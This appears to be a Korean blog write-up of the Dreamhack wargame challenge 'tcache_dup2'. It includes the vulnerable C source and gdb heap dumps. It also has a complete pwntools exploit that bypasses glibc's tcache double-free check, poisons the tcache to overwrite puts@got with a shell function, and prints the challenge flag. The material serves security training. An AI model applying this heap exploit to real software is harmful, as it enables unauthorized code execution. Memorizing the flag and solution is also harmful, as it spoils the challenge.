Description

    이 문제는 서버에서 작동하고 있는 서비스(tcache_dup2)의 바이너리와 소스 코드가 주어집니다.
    취약점을 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    Ubuntu 19.10
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

    디버깅 실습을 위해 로컬 환경에서는 ubuntu 19.10 환경에서 테스트했다.
    (libc 2.30-0ubuntu2.2)

    checksec

    seo@ubuntu:~/Documents/tcache_dup2$ checksec ./tcache_dup2
    [*] '/home/seo/Documents/tcache_dup2/tcache_dup2'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Source Code

    tcache_dup2.c

    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    
    char *ptr[7];
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    }
    
    void create_heap(int idx) {
        size_t size;
    
        if (idx >= 7)
            exit(0);
    
        printf("Size: ");
        scanf("%ld", &size);
    
        ptr[idx] = malloc(size);
    
        if (!ptr[idx])
            exit(0);
    
        printf("Data: ");
        read(0, ptr[idx], size-1);
    }
    
    void modify_heap() {
        size_t size, idx;
    
        printf("idx: ");
        scanf("%ld", &idx);
    
        if (idx >= 7)
            exit(0);
    
        printf("Size: ");
        scanf("%ld", &size);
    
        if (size > 0x10)
            exit(0);
    
        printf("Data: ");
        read(0, ptr[idx], size);
    }
    
    void delete_heap() {
        size_t idx;
    
        printf("idx: ");
        scanf("%ld", &idx);
        if (idx >= 7)
            exit(0);
    
        if (!ptr[idx])
            exit(0);
    
        free(ptr[idx]);
    }
    
    void get_shell() {
        system("/bin/sh");
    }
    int main() {
        int idx;
        int i = 0;
    
        initialize();
    
        while (1) {
            printf("1. Create heap\n");
            printf("2. Modify heap\n");
            printf("3. Delete heap\n");
            printf("> ");
    
            scanf("%d", &idx);
    
            switch (idx) {
                case 1:
                    create_heap(i);
                    i++;
                    break;
                case 2:
                    modify_heap();
                    break;
                case 3:
                    delete_heap();
                    break;
                default:
                    break;
            }
        }
    }

    1) create_heap

    원하는 크기의 청크를 할당할 수 있다.
    main_arena에서 heap 관리가 되지 않으며, tcache로 할당해야된다.

    2) modify_heap

    DFB 취약점을 사용하려면, modify_heap을 통해 이전 Tcache Poisoning 문제와 마찬가지로 e→key 값을 변조하기 위해 사용하면 될 것이다.

    3) delete_heap

    free(ptr[idx]);를 통해 청크를 해제할 수 있다.

    Solution

    먼저, tcache로 9바이트 메모리를 할당하고 free를 하면,

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = process("./tcache_dup2")
    
    def create(size, data):
        p.sendlineafter("> ", "1")
        p.sendlineafter("Size: ", str(size))
        p.sendafter("Data: ", data)
    
    def modify(idx, size, data):
        p.sendlineafter("> ", "2")
        p.sendlineafter("idx: ", str(idx))
        p.sendlineafter("Size: ", str(size))
        p.sendafter("Data: ", data)
    
    def delete(idx):
        p.sendlineafter("> ", "3")
        p.sendlineafter("idx: ", str(idx))
    
    
    # malloc 9bytes and filled with AAAA...
    create(9, "A"*8)
    delete(0)
    pause()
    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk
    0x405000            0x0                 0x290                Used                None              None
    0x405290            0x0                 0x20                 Freed                0x0              None
    gdb-peda$ heapinfoall
    
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x4052b0 (size : 0x20d50)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0
    (0x20)   tcache_entry[0](1): 0x4052a0
    gdb-peda$ p *(tcache_entry *)0x4052a0
    $1 = {
      next = 0x0,
      key = 0x405010
    }

    그러면 0x405010이 e→key 값이 된다.

    DFB 취약점을 위해 B를 8바이트 더미로 채우고 e→key를 변조해보자.

    # Bypass DFB mitigation
    modify(0, 9, "B"*8 + "\x00")
    pause()
    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk
    0x405000            0x0                 0x290                Used                None              None
    0x405290            0x0                 0x20                 Freed 0x4242424242424242              None
    gdb-peda$ heapinfoall
    
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x4052b0 (size : 0x20d50)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0
    (0x20)   tcache_entry[0](1): 0x4052a0 --> 0x4242424242424242 (invaild memory)
    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk
    0x405000            0x0                 0x290                Used                None              None
    0x405290            0x0                 0x20                 Freed 0x4242424242424242              None
    gdb-peda$ p *(tcache_entry *)0x4052a0
    $2 = {
      next = 0x4242424242424242,
      key = 0x405000
    }

    e→key 중 하위 1바이트가 “\x00″으로 덮어써진 것을 알 수 있다.

    그리고 한번더 free를 해보면,

    delete(0)
    pause()
    gdb-peda$ heapinfoall
    
    (0x20)     fastbin[0]: 0x0
    (0x30)     fastbin[1]: 0x0
    (0x40)     fastbin[2]: 0x0
    (0x50)     fastbin[3]: 0x0
    (0x60)     fastbin[4]: 0x0
    (0x70)     fastbin[5]: 0x0
    (0x80)     fastbin[6]: 0x0
    (0x90)     fastbin[7]: 0x0
    (0xa0)     fastbin[8]: 0x0
    (0xb0)     fastbin[9]: 0x0
                      top: 0x4052b0 (size : 0x20d50)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0
    (0x20)   tcache_entry[0](2): 0x4052a0 --> 0x4052a0 (overlap chunk with 0x405290(freed) )

    DFB mitigation이 우회되어,
    청크는 중첩상태가 된 것을 확인할 수 있다.

    이제 임의의 주소에 값을 쓸 수 있다.

    tcache에 삽입할 주소를 입력해서 fd를 수정해서 할당한다.
    이를 통해 특정 영역에 heap을 할당하여 변조가 가능하게 되는데,
    여기서는 쉘을 획득하기 위해 puts@got 주소에 get_shell 주소로 덮어썼다.

    # Overwrite get_shell to puts@got 
    e = ELF("./tcache_dup2")
    puts_got = e.got['puts']
    get_shell = e.symbols['get_shell']
    modify(0, 9, p64(puts_got))
    #pause()
    create(9, 'C'*8)
    create(9, p64(get_shell))
    
    p.interactive()
    gdb-peda$ p *(tcache_entry *)0x4052a0
    $1 = {
      next = 0x404020 <[email protected]>,
      key = 0x405010
    }
    gdb-peda$ p *(struct malloc_chunk *)0x405290
    $2 = {
      mchunk_prev_size = 0x0,
      mchunk_size = 0x21,
      fd = 0x404020 <[email protected]>,
      bk = 0x405010,
      fd_nextsize = 0x0,
      bk_nextsize = 0x20d51
    }

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./tcache_dup2")
    p = remote("host3.dreamhack.games", 14912)
    
    def create(size, data):
        p.sendlineafter("> ", "1")
        p.sendlineafter("Size: ", str(size))
        p.sendafter("Data: ", data)
    
    def modify(idx, size, data):
        p.sendlineafter("> ", "2")
        p.sendlineafter("idx: ", str(idx))
        p.sendlineafter("Size: ", str(size))
        p.sendafter("Data: ", data)
    
    def delete(idx):
        p.sendlineafter("> ", "3")
        p.sendlineafter("idx: ", str(idx))
    
    
    # malloc 9bytes and filled with AAAA...
    create(9, "A"*8)
    delete(0)
    #pause()
    
    # Bypass DFB mitigation and free!
    modify(0, 9, "B"*8 + "\x00")
    delete(0)
    # pause()
    
    # Overwrite get_shell to puts@got 
    e = ELF("./tcache_dup2")
    puts_got = e.got['puts']
    get_shell = e.symbols['get_shell']
    modify(0, 9, p64(puts_got))
    create(9, 'C'*8)
    create(9, p64(get_shell))
    
    p.interactive()

    Result

    seo@ubuntu:~/Documents/tcache_dup2$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 14912: Done
    [*] '/home/seo/Documents/tcache_dup2/tcache_dup2'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    [*] Switching to interactive mode
    $ ls
    flag
    tcache_dup2
    $ cat flag
    DH{025244482b3e8a14a2f2f1d984a753fa71a275918d61f6c2e3ae0980e2cb2a96}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다